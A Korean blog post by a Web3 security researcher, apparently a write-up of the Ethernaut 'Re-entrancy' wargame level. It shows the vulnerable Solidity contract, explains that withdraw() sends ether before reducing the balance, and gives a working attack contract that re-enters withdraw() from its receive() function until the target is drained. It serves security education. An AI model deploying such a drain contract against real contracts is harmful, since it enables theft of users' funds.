[ethernaut] Re-entrancy

wooz3k.eth·2022년 12월 29일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

이 문제는 문제 이름에서 알아차릴 수 있는데 reentrancy attack의 취약하다. 이 문제에 취약점은 withdraw(uint256) 에서 확인할 수 있는데 king문제에서 처럼 'Checks Effects Interactions' 패턴을 사용하지 않아 생기는 문제이다. 체크하는 로직이 if(balances[msg.sender] >= _amount) 이 부분이고 balances[msg.sender] -= _amount; 값을 처리하기 전에 먼저 call을 통하여 이더를 보내주기 때문에 컨트롤플로우를 뺐어올 수 있다. fallback에서 withdraw()를 문제 컨트렉트의 balance가 0이될 때까지 실행시키면 컨트렉트에 모든 이더를 빼낼 수 있다.

다음과 같은 컨트렉트로 문제를 풀이하였다.

contract attack
{
    Reentrance public target = Reentrance(payable(0xAFfbcA160B91Ab97478456BB31D567829AA0a354));

    function atk() payable public
    {
        target.donate{value: msg.value}(address(this));
        target.withdraw(msg.value);
    }

    receive() external payable
    {
        if(address(target).balance != 0)
        {
            target.withdraw(0.001 ether);
        }
    }
}
profile
Theori ChainLight Web3 Researcher

0개의 댓글